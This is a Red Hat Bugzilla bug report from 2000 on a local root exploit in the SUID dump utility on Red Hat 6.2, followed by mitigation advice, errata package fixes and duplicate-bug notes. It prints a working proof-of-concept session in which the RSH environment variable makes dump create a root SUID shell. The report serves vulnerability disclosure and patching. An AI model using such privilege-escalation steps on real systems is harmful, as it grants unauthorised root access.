Red Hat Bugzilla – Bug 20111
RH6.2 dump SUID exploit (via RSH env. var)
Last modified: 2007-03-26 23:37:10 EDT
This from Bugtraq. Tested, works :(
Linux dump command executes external program with suid priviledge.
2. Tested Version
[mat@localhost mat]$ export TAPE=garbage:garbage
[mat@localhost mat]$ export RSH=/home/mat/execute_this
[mat@localhost mat]$ cat > /home/mat/execute_this
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat@localhost mat]$ chmod 755 /home/mat/execute_this
[mat@localhost mat]$ /sbin/dump -0 /
DUMP: Connection to garbage established.
DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
[mat@localhost mat]$ ls -la /home/mat/sh
-rwsr-xr-x 1 root tty 316848 Oct 31 14:38 /home/mat/sh
[mat@localhost mat]$ /home/mat/sh
uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)
Advise for anyone who needs a quick fix: either remove the package, if you don't
need it (rpm -e dump), or remove the SUID bit from /sbin/dump *and*
/sbin/restore (restore(8) lists the same RSH variable).
*** Bug 20112 has been marked as a duplicate of this bug. ***
Fixed in dump-0.4b19-5.
dump-static suffers obviously from the same problem, so an errata update is
needed for this package, too. Reopening.
The advisory mentiones update RPMs for dump-static and rmt, but they are not on
19:48:40 `SRPMS/dump-0.4b19-5.6x.src.rpm' size = 166647 has new time, getting
19:48:41 `i386/dump-0.4b19-5.6x.i386.rpm' size = 88538 has new time, getting
19:48:41 `i386/dump-static-0.4b19-5.6x.i386.rpm' size = 426967 is missing,
19:48:41 `i386/rmt-0.4b19-5.6x.i386.rpm' size = 12550 is missing, getting.
ok, so the dump errata was re-issued, now with dump-static & rmt. Closing bug.
*** Bug 20565 has been marked as a duplicate of this bug. ***